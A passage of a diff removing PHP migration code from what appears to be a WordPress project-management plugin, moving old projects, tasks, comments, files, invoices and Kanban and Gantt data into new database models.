"pm_db_migration", $project_ids ); - } - } - - /** - * retrive old project and push into new database - * @param int $project_id - * @return Object new Project model object - */ - function create_project( $project_id ) { - global $wpdb; - if ( !$project_id && !is_int( $project_id ) ) { - return ; - } - - $oldProject = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->posts} WHERE ID=%d", $project_id ) ); - - $newProject = $this->save_object( new Project, [ - 'title' => $oldProject->post_title, - 'description' => $oldProject->post_content, - 'status' => get_post_meta($project_id, '_project_active', true) == 'yes' ? 0 : 1, - 'created_by' => $oldProject->post_author, - 'updated_by' => $oldProject->post_author, - 'created_at' => $oldProject->post_date, - 'updated_at' => $oldProject->post_modified, - ] ); - - $this->create_project_role( $project_id, $newProject->id, $oldProject->post_author ); - - $milestons = $this->get_milestones( $project_id, $newProject->id ); - $discuss = $this->get_discuss( $project_id, $newProject->id, $milestons ); - $commnetd = $this->get_comments( $discuss, $newProject->id, 'discussion_board' ); - $taskLists = $this->get_task_list( $project_id, $newProject->id, $milestons ); - $commenttl = $this->get_comments( $taskLists, $newProject->id, 'task_list' ); - list( $tasks, $parents ) = $this->get_tasks( $newProject->id, $taskLists ); - $commnett = $this->get_comments( $tasks, $newProject->id, 'task' ); - - $this->get_activity( $project_id, $newProject->id, $discuss, $taskLists, $tasks, array_merge( (array) $commnetd, (array)$commenttl, (array)$commnett ) ); - - $this->get_file( $project_id, $newProject->id ); - - if( !empty( $parents ) ) { - // for sub task - $this->get_tasks( $newProject->id, $tasks, $taskLists, $parents ); - } - - $this->add_time_tracker( $project_id, $newProject->id, $taskLists, $tasks ); - - $this->set_project_settings( $project_id, $newProject ); - $this->set_bp_group( $project_id, $newProject ); - $this->get_kanboard( $project_id, $newProject, $tasks ); - $this->gantt_upgrate( $taskLists, $tasks, $parents ); - $this->get_invoice( $project_id, $newProject ); - return $newProject; - } - - /** - * create project role - * @param init $oldProjectId - * @param init $newProjectID - * @param init $assigned_by - * @return void - */ - function create_project_role( $oldProjectId, $newProjectID, $assigned_by ){ - if ( !$oldProjectId ){ - return ; - } - global $wpdb; - $table = $wpdb->prefix . 'cpm_user_role'; - $oldroles = $wpdb->get_results( $wpdb->prepare ( "SELECT * FROM {$wpdb->prefix}'cpm_user_role' WHERE project_id=%d", $oldProjectId ), ARRAY_A ); - - if ( is_wp_error( $oldroles ) ) { - return; - } - $role_exit = $this->insert_client_role(); - foreach ( $oldroles as $role ) { - - if ( $role['role'] == 'manager' ){ - $role_id = 1; - } else if ( $role['role'] == 'co_worker' ){ - $role_id = 2; - } else if ( $role['role'] == 'client' ) { - if ( !$role_exit ) { - continue; - } - $role_id = 3; - } - User_Role::firstOrCreate( [ - 'user_id' => $role['user_id'], - 'role_id' => $role_id, - 'project_id' => $newProjectID, - 'assigned_by' => $assigned_by, - ] ); - } - - // Assain project if not any user - if ( empty( $oldroles ) ) { - User_Role::firstOrCreate( [ - 'user_id' => $assigned_by, - 'role_id' => 1, - 'project_id' => $newProjectID, - 'assigned_by' => $assigned_by, - ] ); - } - } - - - function get_milestones( $oldProjectId, $newProjectID ) { - if ( !$oldProjectId ){ - return ; - } - global $wpdb; - - $oldMilestones = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_parent=%d AND post_type in ('cpm_milestne', 'cpm_milestone') AND post_status=%s", $oldProjectId, 'publish' ), ARRAY_A ); - - $milestons = []; - - foreach ( $oldMilestones as $post ) { - $milestons[$post['ID']] = $this->create_milestone( $post, $newProjectID ); - - $this->upgrade_observe_migration( [ - 'milestons' => true - ] ); - } - - return $milestons; - } - - /** - * create milestone - * @param init $project_id - * @param object $newProject new project Model - * @return arrat old milestone and new milestone - */ - function create_milestone( $milestone, $newProjectID ) { - if( !$milestone ){ - return ; - } - - $newMilestone = $this->add_board( $milestone, 'milestone', $newProjectID ); - $completed_at = get_post_meta( $milestone['ID'], '_completed_on', true ); - $meta = [ - 'achieve_date' => get_post_meta( $milestone['ID'], '_due', true ), - 'status' => get_post_meta( $milestone['ID'], '_completed' , true ) == 1 ? 2 : 1, - ]; - if( !empty( $completed_at ) ) { - $meta['completed_at'] = $completed_at; - } - - $mil_pri = get_post_meta( $milestone['ID'], '_milestone_privac', true ); - if( isset( $mil_pri ) && $mil_pri == 'yes' ){ - $meta['privacy'] = 1; - } - - - if ( $newMilestone->id && isset( $meta ) ) { - $this->add_meta( $meta, $newMilestone, $newProjectID ); - } - - return $newMilestone->id; - } - /** - * get Dsicuss and create from - * @param int $oldProjectId - * @param int $newProjectID - * @param array $milestons - * @return array new and old milestone array - */ - function get_discuss( $oldProjectId, $newProjectID, $milestons ) { - if ( !$oldProjectId ){ - return ; - } - global $wpdb; - - $oldDiscuss = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_parent=%d AND post_type=%s AND post_status=%s", $oldProjectId, 'cpm_message', 'publish' ), ARRAY_A ); - - $discuss = []; - - foreach ( $oldDiscuss as $post ) { - $discuss[$post['ID']] = $this->create_discuss( $post, $newProjectID, $milestons ); - - $this->upgrade_observe_migration( [ - 'messages' => true - ] ); - } - return $discuss; - } - - /** - * Create disusss from old discuss - */ - function create_discuss( $post, $newProjectID, $milestons ) { - if ( !$post ) { - return ; - } - $newDiscuss = $this->add_board( $post, 'discussion_board', $newProjectID ); - $mid = get_post_meta( $post['ID'], '_milestone', true ); - - if ( $mid && !empty( $milestons ) ) { - $this->save_object( new Boardable, [ - 'board_id' => $milestons[$mid], - 'board_type' => 'milestone', - 'boardable_id' => $newDiscuss->id, - 'boardable_type' => 'discussion_board', - 'order' => $post['menu_order'], - 'created_by' => $post['post_author'], - 'updated_by' => $post['post_author'], - 'created_at' => $post['post_date'], - 'updated_at' => $post['post_modified'], - ] ); - } - - $mag_pri = get_post_meta( $post['ID'], '_message_privacy', true ); - if( isset( $mag_pri ) && $mag_pri == 'yes' ){ - $meta['privacy'] = 1; - } - - if ( isset( $meta ) && !empty( $meta )) { - $this->add_meta( $meta, $newDiscuss, $newProjectID ); - } - - $files = get_post_meta( $post['ID'], '_files', true); - if ( !empty( $files )) { - foreach ( $files as $file ) { - - $this->add_file( [ - 'fileable_id' => $newDiscuss->id, - 'fileable_type' => 'discussion_board', - 'parent' => 0, - 'type' => 'discussion_board', - 'attachment_id' => $file, - 'project_id' => $newDiscuss->project_id, - 'created_by' => $newDiscuss->created_by, - 'updated_by' => $newDiscuss->updated_by, - ] ); - } - } - - return $newDiscuss->id; - } - - /** - * get Task list and create from - * @param int $oldProjectId - * @param int $newProjectID - * @param array $milestons - * @return array new and old milestone array - */ - function get_task_list( $oldProjectId, $newProjectID, $milestons ) { - if ( !$oldProjectId ) { - return ; - } - global $wpdb; - - $oldTaskList = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_parent=%d AND post_type=%s AND post_status=%s", $oldProjectId, 'cpm_task_list', 'publish' ), ARRAY_A ); - - $taskList = []; - - foreach ( $oldTaskList as $post ) { - $taskList[$post['ID']] = $this->create_task_list( $post, $newProjectID, $milestons ); - - $this->upgrade_observe_migration( [ - 'lists' => true - ] ); - } - return $taskList; - } - - - /** - * Create disusss from old discuss - */ - function create_task_list( $post, $newProjectID, $milestons ) { - if ( !$post ) { - return ; - } - $taskList = $this->add_board( $post, 'task_list', $newProjectID ); - $mid = get_post_meta( $post['ID'], '_milestone', true ); - $mid = intval( $mid ); - if ( !empty( $mid ) && $mid != -1 && !empty( $milestons ) ) { - $this->save_object( new Boardable, [ - 'board_id' => $milestons[$mid], - 'board_type' => 'milestone', - 'boardable_id' => $taskList->id, - 'boardable_type' => 'task_list', - 'order' => $post['menu_order'], - 'created_by' => $post['post_author'], - 'updated_by' => $post['post_author'], - 'created_at' => $post['post_date'], - 'updated_at' => $post['post_modified'], - ] ); - } - $meta = array(); - $list_pri = get_post_meta( $post['ID'], '_tasklist_privacy', true ); - if( isset( $list_pri ) && $list_pri == 'on' ){ - $meta['privacy'] = 1; - } - - if ( !empty( $meta ) ) { - $this->add_meta( $meta, $taskList, $newProjectID ); - } - - return $taskList->id; - } - - function get_tasks( $newProjectID, $listitems, $list = null, $parent = null ) { - if( empty( $listitems ) ) { - return ; - } - global $wpdb; - if( $parent == null ){ - $post_type = 'cpm_task'; - }else{ - $post_type = 'cpm_sub_task'; - } - - $in = implode( ',', array_keys( $listitems )); - $oldTask = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->posts} WHERE post_parent IN (%s) AND post_type=%s AND post_status=%s", $in, $post_type, 'publish' ), ARRAY_A ); - $tasks = []; - $taskParent = []; - - foreach ( $oldTask as $post ) { - $tasks[$post['ID']] = $this->create_task( $post, $newProjectID, $listitems, $list, $parent ); - - - - if ( $post['post_type'] == 'cpm_task' ) { - $taskParent[$post['ID']] = $post['post_parent']; - } - $this->upgrade_observe_migration( [ - 'tasks' => true - ] ); - - } - return array( $tasks, $taskParent ); - } - - function create_task( $post, $newProjectID, $listitems, $list=null, $parent = null ) { - if ( !$post ) { - return ; - } - - $description = ($parent === null) ? $post['post_content'] : ''; - - $newTask = $this->save_object( new Task, [ - 'title' => $post['post_title'], - 'description' => $description, - 'status' => get_post_meta( $post['ID'], '_completed', true), - 'project_id' => $newProjectID, - 'start_at' => get_post_meta( $post['ID'], '_start', true), - 'due_date' => get_post_meta( $post['ID'], '_due', true), - 'parent_id' => $post['post_type'] === 'cpm_task' ? 0: $listitems[$post['post_parent']], - 'completed_by' => get_post_meta($post['ID'], '_completed_by', true), - 'completed_at' => get_post_meta($post['ID'], '_completed_on', true), - 'created_by' => $post['post_author'], - 'updated_by' => $post['post_author'], - 'created_at' => $post['post_date'], - 'updated_at' => $post['post_modified'], - ] ); - - if( !empty( $post['post_parent'] ) ) { - - if( $parent !== null ) { - $board_id = $list[$parent[$post['post_parent']]]; - $boardable_type = 'sub_task'; - }else { - $board_id = $listitems[$post['post_parent']]; - $boardable_type = 'task'; - } - $this->save_object( new Boardable, [ - 'board_id' => $board_id, - 'board_type' => 'task_list', - 'boardable_id' => $newTask->id, - 'boardable_type' => $boardable_type, - 'order' => $post['menu_order'], - 'created_by' => $post['post_author'], - 'updated_by' => $post['post_author'], - 'created_at' => $post['post_date'], - 'updated_at' => $post['post_modified'], - ] ); - } - - if ( $post['post_type'] == 'cpm_task' ){ - $meta = array(); - $task_pri = get_post_meta( $post['ID'], '_task_privacy', true ); - if ( !empty( $task_pri ) && $task_pri == 'yes' ){ - $meta['privacy'] = 1; - } - - if ( $newTask->id && !empty( $meta ) ) { - $this->add_meta( $meta, $newTask, $newProjectID, $boardable_type ); - } - } - $this->add_assignee( $newTask, $post['ID'] ); - - return $newTask->id; - } - - function add_assignee( $task, $post_id ) { - if ( !$post_id ){ - return ; - } - $assignees = get_post_meta( $post_id, '_assigned' ); - - if ( empty( $assignees ) || array_keys( $assignees, '-1' )) { - return ; - } - - foreach ( $assignees as $assignee ) { - - $completd_by = get_post_meta( $post_id, '_completed_by', true ); - $completed_at = null; - if ( !empty( $completd_by ) && $assignee == $completd_by ) { - $completed_at = get_post_meta( $post_id, '_completed_on', true); - $completed_at = !empty( $completed_at ) ? $completed_at: null; - } - $this->save_object( new Assignee, [ - 'task_id' => $task->id, - 'assigned_to' => (int)$assignee, - 'assigned_at' => $task->created_at, - 'completed_at' => $completed_at, - 'created_by' => $task->created_by, - 'updated_by' => $task->updated_by, - 'created_at' => $task->created_at, - 'updated_at' => $task->updated_at, - 'project_id' => $task->project_id, - ] ); - } - } - - function get_comments( $ids, $newProjectID, $commentable_type ) { - - if( empty( $ids ) ){ - return ; - } - global $wpdb; - $in = implode(',', array_keys( $ids ) ); - $OComments = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->comments} WHERE comment_post_ID IN(%s)", $in ), ARRAY_A ); - - $comments = []; - - foreach ( $OComments as $comment ) { - $comments[$comment[ 'comment_ID' ]] = $this->create_comments( $comment, $newProjectID, $commentable_type, $ids[$comment['comment_post_ID']] ); - - $this->upgrade_observe_migration( [ - 'comments' => true - ] ); - } - - return $comments; - } - - function create_comments( $comment, $newProjectID, $commentable_type, $commentable_id ) { - if ( !$comment ) { - return ; - } - if ( isset( $comment['comment_type'] ) && $comment['comment_type'] == 'cpm_activity' ) { - $commentable_type = 'task_activity'; - } - $newComment = $this->save_object( new Comment, [ - 'content' => $comment['comment_content'], - 'mentioned_users' => null, - 'commentable_id' => $commentable_id, - 'commentable_type' => $commentable_type, - 'project_id' => $newProjectID, - 'created_by' => $comment['user_id'], - 'updated_by' => $comment['user_id'], - 'updated_by' => $comment['user_id'], - 'updated_by' => $comment['user_id'], - 'created_at' => $comment['comment_date'], - 'updated_at' => $comment['comment_date'], - ] ); - - $files = get_comment_meta( $comment['comment_ID'], '_files', true ); - if ( !empty( $files ) ) { - foreach ( $files as $file ) { - - $this->add_file( [ - 'fileable_id' => $newComment->id, - 'fileable_type' => 'comment', - 'parent' => 0, - 'type' => 'file', - 'attachment_id' => $file, - 'project_id' => $newComment->project_id, - 'created_by' => $newComment->created_by, - 'updated_by' => $newComment->updated_by, - ] ); - } - } - - return $newComment->id; - } - - - function get_file( $OldProjectId, $newProjectID ) { - if ( !$OldProjectId ) { - return ; - } - global $wpdb; - $table = $wpdb->prefix . 'cpm_file_relationship'; - $files = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}'cpm_file_relationship' WHERE project_id=%d ORDER BY `id` ASC", $OldProjectId ), ARRAY_A ); - $fileArr = []; - $comments = []; - - foreach ( $files as $file ) { - $metas =[]; - $parent = !empty( $fileArr[$file['parent_id']] ) ? $fileArr[$file['parent_id']]: 0; - if( $file['is_dir'] == 1 ) { - $type = 'folder'; - }elseif ( $file['type'] == 'doc' ) { - $type = 'doc'; - }elseif ( $file['type'] == 'google_doc') { - $type = 'link'; - }else{ - $type = 'pro_file'; - } - - $newFile = $this->add_file( [ - 'fileable_id' => null, - 'fileable_type' => 'file', - 'parent' => $parent, - 'type' => $type, - 'attachment_id' => $file['attachment_id'], - 'project_id' => $newProjectID, - 'created_by' => $file['created_by'], - 'updated_by' => $file['created_by'], - 'created_at' => $file['created_at'], - 'updated_at' => $file['updated_at'], - ] ); - - if( $file['post_id'] ){ - $meta = $this->get_doc_meta( $file['post_id'], $newFile->id, $newProjectID ); - $comments[$file['post_id']] = $newFile->id; - }elseif ( $file['attachment_id'] ) { - $comments[$file['attachment_id']] = $newFile->id; - } - - $fileArr[$file['id']] = $newFile->id; - $meta['private'] = $file['private'] == 'yes' ? 1 : 0; - - if ( !empty( $file['dir_name'] ) ){ - $meta['title'] = $file['dir_name']; - } - - $this->add_meta( $meta, $newFile, $newProjectID, 'file' ); - } - - $this->set_post_attachment( $comments, $newProjectID ); - $this->get_comments( $comments, $newProjectID, 'file' ); - $this->get_revision( $comments, $newProjectID ); - - return $fileArr; - - } - - function get_doc_meta( $post_id, $docid, $newProjectID ) { - if ( !$post_id ) { - return ; - } - global $wpdb; - $post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->posts} WHERE ID=%d", $post_id ) ); - $meta = []; - $meta['title'] = $post->post_title; - $meta['description'] = $post->post_content; - if( !empty( $post->post_excerpt ) ){ - $meta['url'] = $post->post_excerpt; - } - - return $meta; - } - - function set_post_attachment( $ids, $newProjectID ) { - if ( empty( $ids ) ) { - return ; - } - global $wpdb; - $in = implode( ',', array_keys( $ids ) ); - $attachments = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->posts} WHERE post_parent IN(%s) and post_type=%s", $in, 'attachment' ), ARRAY_A); - - foreach ( $attachments as $attachment ){ - $this->add_file([ - 'fileable_id' => $ids[$attachment['post_parent']], - 'fileable_type' => 'file', - 'parent' => $ids[$attachment['post_parent']], - 'type' => 'doc', - 'attachment_id' => $attachment["ID"], - 'project_id' => $newProjectID, - 'created_by' => $attachment['post_author'], - 'updated_by' => $attachment['post_author'], - 'created_at' => $attachment['post_date'], - 'updated_at' => $attachment['post_date'], - ]); - } - } - - function get_revision( $ids, $newProjectID ) { - if ( empty( $ids ) ) { - return ; - } - global $wpdb; - $in = implode( ',', array_keys( $ids ) ); - $revisions = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->posts} WHERE post_parent IN(%s) and post_type=%s", $in, 'revision' ), ARRAY_A); - - foreach( $revisions as $revision ){ - $meta=[]; - $newFile = $this->add_file( [ - 'fileable_id' => null, - 'fileable_type' => 'file', - 'parent' => $ids[$revision['post_parent']], - 'type' => 'revision', - 'attachment_id' => null, - 'project_id' => $newProjectID, - 'created_by' => $revision['post_author'], - 'updated_by' => $revision['post_author'], - 'created_at' => $revision['post_date'], - 'updated_at' => $revision['post_date'], - ] ); - - $meta['title'] = $revision['post_title']; - $meta['description'] = $revision['post_content']; - if( !empty( $revision['post_excerpt'] ) ){ - $meta['url'] = $revision ['post_excerpt']; - } - - $this->add_meta( $meta, $newFile, $newProjectID, 'file' ); - } - } - - function get_invoice( $oldProjectId, $newProject ) { - if ( !$oldProjectId ) { - return ; - } - - global $wpdb; - - $oldInvoice = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_parent=%d AND post_type=%s", $oldProjectId, 'cpm_invoice' ), ARRAY_A ); - - $invoice = []; - - foreach ( $oldInvoice as $post ) { - $invoice[$post['ID']] = $this->create_invoice( $post, $newProject ); - } - return $invoice; - } - - function create_invoice( $post, $newProject ) { - global $wpdb; - $invoiceArr =[ - 'client_id' => get_post_meta( $post['ID'], 'client_id', true ), - 'title' => $post['post_title'] , - 'start_at' => $post['post_date'], - 'due_date' => get_post_meta( $post['ID'], 'due_date', true ), - 'discount' => get_post_meta( $post['ID'], 'discount', true ), - 'partial' => get_post_meta( $post['ID'], 'partial_payment', true ) == 'yes' ? 1 : 0, - 'partial_amount' => get_post_meta( $post['ID'], 'partial_amount', true ), - 'terms' => get_post_meta( $post['ID'], 'terms', true ), - 'client_note' => $post['post_content'], - 'items' => serialize( $this->get_invoice_item( $post, $newProject ) ), - 'project_id' => $newProject->id, - 'status' => get_post_meta( $post['ID'], 'statue', true ) == 'paid' ? 1 : 0, - 'created_by' => $post['post_author'], - 'updated_by' => $post['post_author'], - 'created_at' => $post['post_date'], - 'updated_at' => $post['post_modified'], - ]; - $inviceTable = $wpdb->prefix . 'pm_invoice'; - $invoice = $wpdb->insert( $inviceTable, $invoiceArr ); - $invoice_id = $wpdb->insert_id; - - $payments = get_post_meta( $post['ID'], 'cpmi_payment', true ); - - if( !empty( $payments ) ) { - foreach ( $payments as $payment ) { - $payment_date = empty( $payment['date'] ) ? $post['post_modified'] : $payment['date']; - - $data = [ - 'entity_id' => $invoice_id, - 'entity_type' => 'invoice', - 'meta_key' => 'invoice_payment', - 'meta_value' => maybe_serialize([ - 'amount' => floatval( $payment['amount'] ), - 'date' => date( 'Y-m-d', strtotime( $payment_date ) ), - 'notes' => $payment['notes'], - 'gateway' => $payment['method'] - ]), - 'project_id' => $newProject->id, - 'created_by' => $invoiceArr['client_id'], - 'updated_by' => $invoiceArr['client_id'], - 'created_at' => $payment_date, - 'updated_at' => $payment_date, - ]; - $this->save_object( New Meta, $data ); - - } - } - - return $invoice_id; - } - - function get_invoice_item( $post, $newProject ) { - $items = get_post_meta( $post['ID'], 'item', true ); - $hours = get_post_meta( $post['ID'], 'hour', true ); - $newItem = array(); - - foreach ( $items as $item ) { - $arr = []; - $arr['task'] = $this->get_task_by_title( $item->name, $newProject ); // find id, title time - $arr['description'] = $item->details; - $arr['amount'] = $item->amount; - $arr['quantity'] = $item->qty; - $arr['tax'] = $item->tax_percent; - $arr['descriptionField'] = isset($item->details); - $newItem['entryNames'][] = $arr; - } - - foreach ( $hours as $item ) { - $arr = []; - $arr['task'] = $this->get_task_by_title( $item->name, $newProject ); // find id, title time - $arr['description'] = $item->details; - $arr['amount'] = $item->amount; - $arr['hour'] = $item->qty; - $arr['tax'] = $item->tax_percent; - $arr['descriptionField'] = isset($item->details); - $newItem['entryTasks'][] = $arr; - } - return $newItem; - } - - function get_task_by_title( $title , $newProject ) { - if ( empty( $title ) ) { - return []; - } - - $task = Task::where('title', $title )->where( 'project_id', $newProject->id )->first(); - - if( ! $task->id ) { - return []; - } - - $arr['id'] = $task->id; - $arr['title'] = $task->title; - $arr['time'] = [ - 'hour' => 0 - ]; - - return $arr; - } - - function set_project_settings( $oldProjectId, $newProject ) { - - $settings = get_post_meta( 27, '_settings', true); - if ( empty( $sections ) ) { - return ; - } - - $co_worker = array(); - $client = array(); - $oldCW = $settings['co_worker']; - $oldClient = $settings['client']; - - $co_worker['create_message'] = ( isset( $oldCW['create_message'] ) && $oldCW['create_message'] == 'yes' ) ? true : false; - $co_worker['view_private_message'] = ( isset( $oldCW['msg_view_private'] ) && $oldCW['msg_view_private'] == 'yes' ) ? true : false; - $co_worker['create_list'] = ( isset( $oldCW['create_todolist'] ) && $oldCW['create_todolist'] == 'yes' ) ? true : false; - $co_worker['view_private_list'] = ( isset( $oldCW['tdolist_view_private'] ) && $oldCW['tdolist_view_private'] == 'yes' ) ? true : false; - $co_worker['create_task'] = ( isset( $oldCW['create_todo'] ) && $oldCW['create_todo'] == 'yes' ) ? true : false; - $co_worker['view_private_task'] = ( isset( $oldCW['todo_view_private'] ) && $oldCW['todo_view_private'] == 'yes' ) ? true : false; - $co_worker['create_milestone'] = ( isset( $oldCW['create_milestone'] ) && $oldCW['create_milestone'] == 'yes' ) ? true : false; - $co_worker['view_private_milestone'] = ( isset( $oldCW['milestone_view_private'] ) && $oldCW['milestone_view_private'] == 'yes' ) ? true : false; - $co_worker['create_file'] = ( isset( $oldCW['upload_file_doc'] ) && $oldCW['upload_file_doc'] == 'yes' ) ? true : false; - $co_worker['view_private_file'] = ( isset( $oldCW['file_view_private'] ) && $oldCW['file_view_private'] == 'yes' ) ? true : false; - - $client['create_message'] = ( isset( $oldClient['create_message'] ) && $oldClient['create_message'] == 'yes' ) ? true : false; - $client['view_private_message'] = ( isset( $oldClient['msg_view_private'] ) && $oldClient['msg_view_private'] == 'yes' ) ? true : false; - $client['create_list'] = ( isset( $oldClient['create_todolist'] ) && $oldClient['create_todolist'] == 'yes' ) ? true : false; - $client['view_private_list'] = ( isset( $oldClient['tdolist_view_private'] ) && $oldClient['tdolist_view_private'] == 'yes' ) ? true : false; - $client['create_task'] = ( isset( $oldClient['create_todo'] ) && $oldClient['create_todo'] == 'yes' ) ? true : false; - $client['view_private_task'] = ( isset( $oldClient['todo_view_private'] ) && $oldClient['todo_view_private'] == 'yes' ) ? true : false; - $client['create_milestone'] = ( isset( $oldClient['create_milestone'] ) && $oldClient['create_milestone'] == 'yes' ) ? true : false; - $client['view_private_milestone'] = ( isset( $oldClient['milestone_view_private'] ) && $oldClient['milestone_view_private'] == 'yes' ) ? true : false; - $client['create_file'] = ( isset( $oldClient['upload_file_doc'] ) && $oldClient['upload_file_doc'] == 'yes' ) ? true : false; - $client['view_private_file'] = ( isset( $oldClient['file_view_private'] ) && $oldClient['file_view_private'] == 'yes' ) ? true : false; - - - $newSetings = [ - 'co_worker' => $co_worker, - 'client' => $client - ]; - - $this->save_object( new Settings, [ - 'key' => 'capabilities', - 'value' => $newSetings, - 'project_id' => $newProject->id, - 'created_by' => $newProject->created_by, - 'updated_by' => $newProject->updated_by, - 'created_at' => $newProject->created_at, - 'updated_at' => $newProject->updated_at, - ] ); - } - - function set_bp_group( $oldProjectId, $newProject ) { - $group_id = get_post_meta( $oldProjectId, '_bp_group_id', true ); - if ( empty( $group_id )) { - return ; - } - - $metaObj = $this->save_object( new Meta, [ - 'entity_id' => $group_id, - 'entity_type' => 'pm_buddypress', - 'meta_key' => 'group_id', - 'meta_value' => $group_id, - 'project_id' => $newProject->id, - 'created_by' => $newProject->created_by, - 'updated_by' => $newProject->updated_by, - 'created_at' => $newProject->created_at, - 'updated_at' => $newProject->updated_at, - ] ); - - } - - function get_kanboard( $oldProjectId, $newProject, $tasks ) { - $sections = get_post_meta( $oldProjectId, '_custom_section', true ); - $newSections = array(); - - if ( empty( $sections ) || !is_array( $sections ) ) { - return ; - } - - foreach ( $sections as $section ) { - $newBoard = $this->save_object( new Board, [ - 'title' => $section['name'], - 'description' => null, - 'order' => $section['order'], - 'type' => 'kanboard', - 'project_id' => $newProject->id, - 'created_by' => $newProject->created_by, - 'updated_by' => $newProject->updated_by, - 'created_at' => $newProject->created_at, - 'updated_at' => $newProject->updated_at, - ]); - $newSections[$section['section_id']] = $newBoard->id; - } - if ( is_array( $tasks ) && !empty( $tasks ) ) { - foreach ( $tasks as $oldTaskId => $newTaskId ) { - $section_id = get_post_meta( $oldTaskId, '_section_id', true ); - $order = get_post_meta( $oldTaskId, '_kanboard_order', true ); - - if ( empty( $section_id ) ){ - continue ; - } - - $this->save_object( new Boardable, [ - 'board_id' => $newSections[$section_id], - 'board_type' => 'kanboard', - 'boardable_id' => $newTaskId, - 'boardable_type' => 'task', - 'order' => $order, - 'created_by' => $newProject->created_by, - 'updated_by' => $newProject->updated_by, - 'created_at' => $newProject->created_at, - 'updated_at' => $newProject->updated_at, - ] ); - } - } - - } - - function gantt_upgrate( $taskLists, $tasks, $taskParent ) { - global $wpdb; - if( is_array( $tasks ) ){ - - $ganttTable = $wpdb->prefix . 'pm_gantt_chart_links'; - $now = date( 'Y-m-d', strtotime( current_time('mysql') ) ); - $user = wp_get_current_user(); - - foreach ( $tasks as $old => $new ) { - $links = get_post_meta( $old, '_link', true ); - if( empty( $links ) ) { - continue ; - } - - foreach ( $links as $link ) { - if ( array_key_exists( $link, $tasks ) ) { - $wpdb->insert( $ganttTable, [ - 'source' => $new, - 'target' => $tasks[$link], - 'type' => 1, - 'created_by' => $user->ID, - 'updated_by' => $user->ID, - 'created_at' => $now, - 'updated_at' => $now, - ]); - } - } - } - } - - } - - function set_gantt_data( $items, $taskLists, $tasks ) { - - if(!is_array( $items ) && empty( $items ) ) { - return ; - } - - foreach ( $items as $old => $new ) { - $links = get_post_meta( $old, '_link', true ); - - if( empty( $links ) ) { - continue ; - } - - foreach ( $links as $link ) { - // if ( array_key_exists( $link, $taskLists ) ) { - // $this->save_object( new Gantt, [ - // 'source' => $new, - // 'target' => $taskLists[$link], - // 'type' => 1, - // ]); - // } - if ( array_key_exists( $link, $tasks ) ) { - $this->save_object( new Gantt, [ - 'source' => $new, - 'target' => $tasks[$link], - 'type' => 1, - ]); - } - } - } - } - - function get_activity( $oldProjectId, $newProjectId, $discuss, $tasklist, $tasks, $comments ) { - if( !$oldProjectId ) { - return ; - } - global $wpdb; - $activities = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM {$wpdb->comments} WHERE comment_post_ID=%d AND comment_type=%s ORDER BY `comment_ID` ASC", $oldProjectId, 'cpm_activity' ), ARRAY_A ); - - foreach ( $activities as $activity ) { - - list( $attr, $newCntent ) = $this->get_attr_array( $activity['comment_content'] ); - $meta = [ 'text' => $newCntent ]; - $resource_type = ""; - $resource_id = 0; - - foreach ( $attr as $key => $value ) { - - if ( !empty( $value['title'] ) ) { - $title = $value['title']; - } else { - $title = ''; - } - - switch ( $key ) { - - case 'cpm_msg_url': - if ( empty( $discuss[$value['id']] ) ) { - break; - } - - $resource_id = $discuss[$value['id']]; - $resource_type = 'discussion_board'; - $meta['discussion_board_title'] = $title; - - break; - case 'cpm_tasklist_url': - if ( empty( $tasklist[$value['id']] ) ) { - break; - } - - $resource_id = $tasklist[$value['id']]; - $resource_type = 'task_list'; - $meta['task_list_title'] = $title; - - break; - case 'cpm_task_url': - if ( empty( $tasks[$value['id']] ) ) { - break; - } - $resource_id = $tasks[$value['id']]; - $resource_type = 'task'; - $meta['task_title'] = $title; - - break; - case 'cpm_comment_url': - - $resource_id = $value['id']; - $resource_type = 'comment'; - $meta['comment_id'] = $value['id']; - - break; - case 'cpm_user_url': - break; - - } - } - $this->created_activity( $activity, $resource_id, $resource_type, $meta, $newProjectId ); - - } - } - - function created_activity( $activity, $resource_id, $resource_type, $meta, $newProjectId ) { - $this->save_object( new Activity, [ - 'actor_id' => $activity['user_id'], - 'action' => 'cpm_migration', - 'action_type' => 'migrated', - 'resource_id' => $resource_id, - 'resource_type' => $resource_type, - 'meta' => $meta, - 'project_id' => $newProjectId, - 'created_at' => $activity['comment_date'], - 'updated_at' => $activity['comment_date'], - ] ); - - $this->upgrade_observe_migration( [ - 'comments' => true - ] ); - } - - - function get_attr_array( $str ) { - $attr = []; - $arr = [ - 'cpm_msg_url' => '{{meta.discussion_board_title}}', - 'cpm_user_url' => '{{actor.data.display_name}}', - 'cpm_task_url' => '{{meta.task_title}}', - 'cpm_tasklist_url' => '{{meta.task_list_title}}', - 'cpm_comment_url' => '{{meta.comment_id}}' - ]; - $text = $str; - $pattern = '\[(\[?)(cpm_msg_url|cpm_user_url|cpm_task_url|cpm_tasklist_url|cpm_comment_url)(?![\w-])([^\]\/]*(?:\/(?!\])[^\]\/]*)*?)(?:(\/)\]|\](?:([^\[]*+(?:\[(?!\/\2\])[^\[]*+)*+)\[\/\2\])?)(\]?)'; - $sdf = preg_replace_callback( "/$pattern/s", function ( $match ) use ( &$attr, $arr, &$text ) { - - $text = str_replace($match[0], $arr[$match[2]], $text ); - - $attr[$match[2]] = shortcode_parse_atts( $match[3] ); - if( empty( $attr[$match[2]]['title'] )){ - if( strpos($match[0], 'title=') !== false ){ - $title = substr( $match[0], strpos($match[0], 'title=') + 7, -2); - $title = preg_replace("/[\"\'\}\]]/m", '' , $title); - $attr[$match[2]]['title'] = $title; - } - } - }, $str ); - - return array($attr, $text); - } - - function add_time_tracker( $oldProjectId, $newProjectID, $taskList, $tasks ) { - if ( !$oldProjectId ) { - return ; - } - - global $wpdb; - $table = 